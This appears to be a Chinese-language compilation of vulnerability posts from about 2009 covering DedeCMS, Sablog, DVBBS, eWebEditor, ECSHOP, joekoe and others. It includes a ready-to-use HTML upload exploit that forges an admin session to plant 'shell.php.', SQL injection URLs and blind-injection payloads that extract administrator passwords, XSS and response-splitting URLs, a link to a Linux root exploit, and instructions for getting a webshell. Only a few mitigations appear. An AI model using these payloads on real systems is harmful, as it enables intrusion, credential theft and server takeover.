作者:st0p
转载请注明出处 http://www.st0p.org

今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:http://bbs.wolvez.org/topic/125/

自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了..

而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧..

我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK...

看了一下/include/dialog/select_soft_post.php

问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
......
//文件名(前为手工指定, 后者自动处理)
if(!empty($newname))
{
	$filename = $newname; //当我们的新名称为st0p.php.的时候
	if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); //当$filename中不含有.的时候调用
	else $fs = explode('.', $filename); //当$filename中含有.时调用
	if(eregi($cfg_not_allowall, $fs[count($fs)-1])) //$fs[count($fs)-1]得到的值为空,跳过验证
	{
		ShowMsg("你指定的文件名被系统禁止!",'javascript:;');
		exit();
	}
	if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}
else
{
	$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));
	$fs = explode('.', $uploadfile_name);
	if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
	{
		ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;');
		exit();
	}
	$filename = $filename.'.'.$fs[count($fs)-1];
}
$fullfilename = $cfg_basedir.$activepath.'/'.$filename; //嘿嘿,跳过验证,$filename还为st0p.php.
$fullfileurl = $activepath.'/'.$filename;
move_uploaded_file($uploadfile,$fullfilename) or die("上传文件到 $fullfilename 失败!");
@unlink($uploadfile);
......

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>DEDECMS v5.5 Final select_soft_post.php EXP</title>
<script type="text/javascript">
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
</script>
<style type="text/css">
<!--
body {
	text-align: center;
}
-->
</style>
</head>
 
<body>
<h3>DEDECMS v5.5 Final select_soft_post.php EXP</h3>
<form action="" method="post" enctype="multipart/form-data">
  <p>
    <input type="hidden" name="_SESSION[dede_admin_id]" value="1" />
    <input type="hidden" name="bkurl" value="1" />
    <label>Target:
      <input name="target" type="text" id="target" value="http://target" />
    </label>
    <label>Path:
      <input name="path" type="text" id="path" value="/include/dialog/select_soft_post.php" />
    </label>
    <label>File:
      <input type="file" name="uploadfile" id="uploadfile" />
    </label>
    <label>NewName:
      <input name="newname" type="text" id="newname" value="shell.php." />
    </label>
    &nbsp;<input type="submit" name="button" id="button" value="Fuck" onclick="fsubmit()" />
  </p>
</form>
</body>
</html>

author: 80vul-B
team:http://www.80vul.com

一 描叙:

由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞,导致可以利用extract()来覆盖任意变量,最终导致xss、sql注射、代码执行等很多严重的安全漏洞。

二 分析

common.inc.php代码里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
....
$onoff = function_exists('ini_get') ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {
	@extract($_COOKIE, EXTR_SKIP);
	@extract($_POST, EXTR_SKIP);
	@extract($_GET, EXTR_SKIP);
}
...
$sax_auth_key = md5($onlineip.$_SERVER['HTTP_USER_AGENT']);
list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
...
$seccode = $sessionexists = 0;
if ($sax_hash) {
...
	if ($_EVO = $DB->fetch_array($query)){ //$_EVO初始化过程在if ($sax_hash)里,如果这个if条件不满足,将跳过这个初始化过程。
...
}
if(!$sessionexists) {
	if($sax_uid) {
		if(!($_EVO = $DB->fetch_one_array("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='$sax_uid' AND u.password='$sax_pw' AND u.lastip='$onlineip'"))) {
...
@extract($_EVO); //覆盖任意变量

Read the rest of this entry

DVBBS php2.0 注入漏洞

来源:Xiaoz

boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/

admin/index.php

进入后台即可了..

模板CSS里添加上php木马,或者用一句话木马连接即可拿到webshell了.

来源:baoz

微软本月月经日(8.11)的同一天,国外黑客taviso和julien公开了可以攻击所有新旧Linux系统的一个漏洞,包括但不限于 RedHat,CentOS,Suse,Debian,Ubuntu,Slackware,Mandriva,Gentoo及其衍生系统。黑客只需要执行一个命令,就可以通过此漏洞获得root权限,即使开启了SELinux也于事无补。攻击这个漏洞到底有多简单,下面我们看图说话,有图有真相。

linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right

如上图所示,利用此漏洞极其简单,并且影响所有的Linux内核,baoz强烈建议系统管理员或安全人员参考下列临时修复方案,以防止Linux系统被攻击 。

2个攻击包下载
1、linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right
2、http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz

1、使用Grsecurity或者Pax内核安全补丁,并开启KERNEXEC防护功能。

2、升级到2.6.31-rc6或2.4.37.5以上的内核版本。

3、如果您使用的是RedHa tEnterprise Linux 4/5的系统或Centos4/5的系统,您可以通过下面的操作简单的操作防止被攻击。

在/etc/modprobe.conf文件中加入下列内容:

install pppox /bin/true
install bluetooth /bin/true
install appletalk /bin/true
install ipx /bin/true
install sctp /bin/true

很明显,第三个方案最简单也相对有效,对业务影响也最小,如果您对编译和安装Linux内核不熟悉,千万不要使用前两个方案,否则您的系统可能永远无法启动。

Linux在微软的月经日爆如此严重的漏洞,挺值得纪念的。如果您希望了解本漏洞更多的内幕、八卦和细节,请访问http://baoz.net/linux-sockops-wrap-proto-ops-local-root-exploit/ 。

ewebeditor v6.0.0版本漏洞

来源:zake's blog

今天和静流聊天,他说ewebeditor出了最新漏洞。于是就是检测一下,这个程序爆漏洞一般都是直接上传的漏洞,不过没错 就是上传漏洞。首先在本地搭建一个ASP环境重命名一个木马名字例如:1.gif.asp这样的就OK了。

那么接下来完美本地搭建一个环境你可以用WEB小工具搭建一个,目的就是让远程上传。

http://127.0.0.1/1.gif.asp

搭建好了,在上传的地方,图片来源是网络,加上网络地址

ewebeditor-v6-0-0-version-of-the-loopholes1

然后确定,这里是最关键的一部! Read the rest of this entry

乔客(joekoe) CMS 4.0 的2个高危漏洞
前段时间读了读乔客,发现在乔客4.0版本中存在两个高危漏洞,一个上传漏洞,可以随意上传任意文件,包括ASP,另一个是SQL注入,甚至还有返回错误信息,可怕啊

上传漏洞:
看\common\include\web.upload.asp 中的代码 Read the rest of this entry

添加时间:
2009-05-25

系统编号:
WAVDB-01431

影响版本:
ECSHOP 2.6.1/2.6.2

程序介绍:
ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

漏洞分析:

文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():

// includes/init.php  
if (!get_magic_quotes_gpc())  
{  
    if (!emptyempty($_GET))  
    {  
        $_GET  = addslashes_deep($_GET);  
    }  
    if (!emptyempty($_POST))  
    {  
        $_POST = addslashes_deep($_POST);  
    }  
 
    $_COOKIE   = addslashes_deep($_COOKIE);  
    $_REQUEST  = addslashes_deep($_REQUEST);  
}  
addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理
 
// includes/lib_base.php  
function addslashes_deep($value)  
{  
    if (emptyempty($value))  
    {  
        return $value;  
    }  
    else  
    {  
        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);  
    // 只处理了数组的值:)  
    }  
}

Read the rest of this entry

添加时间:
2009-05-25

系统编号:
WAVDB-01432

影响版本:
DVBBS 8.0.0-8.2.0

程序介绍:
动网论坛做为动网主要服务产品之一,自2001年投入推广并运营以来,得到了国内外广大互联网用户的广泛好评和支持。做为国内第一的互联网论坛服务品牌,占据了国内论坛服务市场的70%以上的用户,动网论坛服务在一些如电影、下载、网游等热门网站的占有率甚至高达80%以上,是中国论坛服务领域事实上的标准。

漏洞分析:

文件show.asp中:
filetype=Request("filetype") //第75行
username=Request("username")
......
TempStr = Replace(TempStr,"{$username}",UserName) //第244行
程序对于输出变量filetype和username过滤导致xss漏洞的产生。
漏洞利用:
http://www.target.com/show.asp?filetype=xxx&username=nnn<iframe%20src=http://www.baidu.com></iframe>

解决方案:
厂商补丁
DVBBS
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.dvbbs.net

信息来源:
<*来源: Bug.Center.Team http://www.cnbct.org
链接: http://wavdb.com/vuln/1437
*>

涉及版本:网趣网上购物系统时尚版 v3.2 漏洞文件:getpwd2.asp,getpwd3.asp,getpwd4.asp 漏洞描述:变量username未经过滤带入sql查询,存在SQL注入漏洞. 关键代码: ASP代码 [code] [/code] 利用方法: post提交数据(可以借用剑心的Sql.htm[http://www.loveshell.net/blog /blogview.asp?logID=70]),默认管理员ID为4,密码为16位md5(小写字母),确定下范围0-9的asc值48-57,小写字母的asc值97-122 SQL代码 [code]' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 48 and 57)<>0 and ''=' ' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 97 and 122)<>0 and ''=' [/code] 正确返回"取回密码",错误返回对话框"这个用户没有注册,请注册!"

转自:http://www.webxiaoz.cn/article/bug/615.htm

不要小看注释掉的JS

HTTP Response Splitting 攻击主要说明的是两个问题

一个是header插入问题。

另一个是\r\n问题。

我们来看这样一段代码:

Java代码

 <script>  
     //alert('<%=request.getParameter("username")%>');  
 </script>

大家都能看到,这好像有个漏洞,但是已经被补上了,注释掉了。

那既然注释掉了,就不该有问题了么?

不是的。

再看这个URL

http://localhost/index.jsp?username=kxlzx%0d%0a%0d%0aalert('kxlzx

很无奈吧?

生成了如下代码:

XML/HTML代码

 <script>  
     //alert('kxlzx  
 
 alert('kxlzx ');  
 </script>

注释掉的JS,也执行了。

所以,不要把没用的代码,注释掉的JS等,扔到html里。

代码审核是个细活,任何疏漏之处都值得注意。

转自:http://www.inbreak.net/show-136-1.html